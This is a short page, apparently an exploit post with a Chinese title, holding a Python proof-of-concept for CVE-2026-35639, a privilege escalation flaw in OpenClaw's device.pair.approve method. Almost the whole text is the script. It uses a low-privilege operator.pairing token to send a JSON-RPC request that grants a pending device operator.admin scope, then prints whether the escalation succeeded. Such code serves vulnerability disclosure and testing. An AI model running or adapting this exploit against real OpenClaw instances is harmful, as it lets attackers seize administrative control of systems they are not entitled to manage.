CVE-2026-35639 OpenClaw 提权漏洞

# Proof of Concept for CVE-2026-35639 # This script demonstrates the privilege escalation vulnerability # by exploiting insufficient scope validation in device.pair.approve. import requests import json TARGET_URL = "http://target-openclaw-instance/api" # Attacker holds a low-privileged token with operator.pairing scope ATTACKER_TOKEN = "low_privilege_operator_pairing_token" # The payload attempts to approve a device request with operator.admin scope # using the low-privileged account. payload = { "method": "device.pair.approve", "params": { "request_id": "pending_malicious_device_id", # Vulnerability: The backend does not validate if the approver # has the right to grant this specific high-level scope. "scope": "operator.admin" }, "id": 1 } headers = { "Content-Type": "application/json", "Authorization": f"Bearer {ATTACKER_TOKEN}" } print("[*] Attempting to escalate privileges via device.pair.approve...") try: response = requests.post(TARGET_URL, data=json.dumps(payload), headers=headers) if response.status_code == 200: result = response.json() if "error" not in result: print("[+] Exploit successful! Privileges escalated to operator.admin.") print(f"[+] Granted Scope: {result.get('result', {}).get('scope')}") else: print(f"[-] Exploit failed: {result['error']}") else: print(f"[-] HTTP Error: {response.status_code}") except Exception as e: print(f"[-] Connection error: {e}")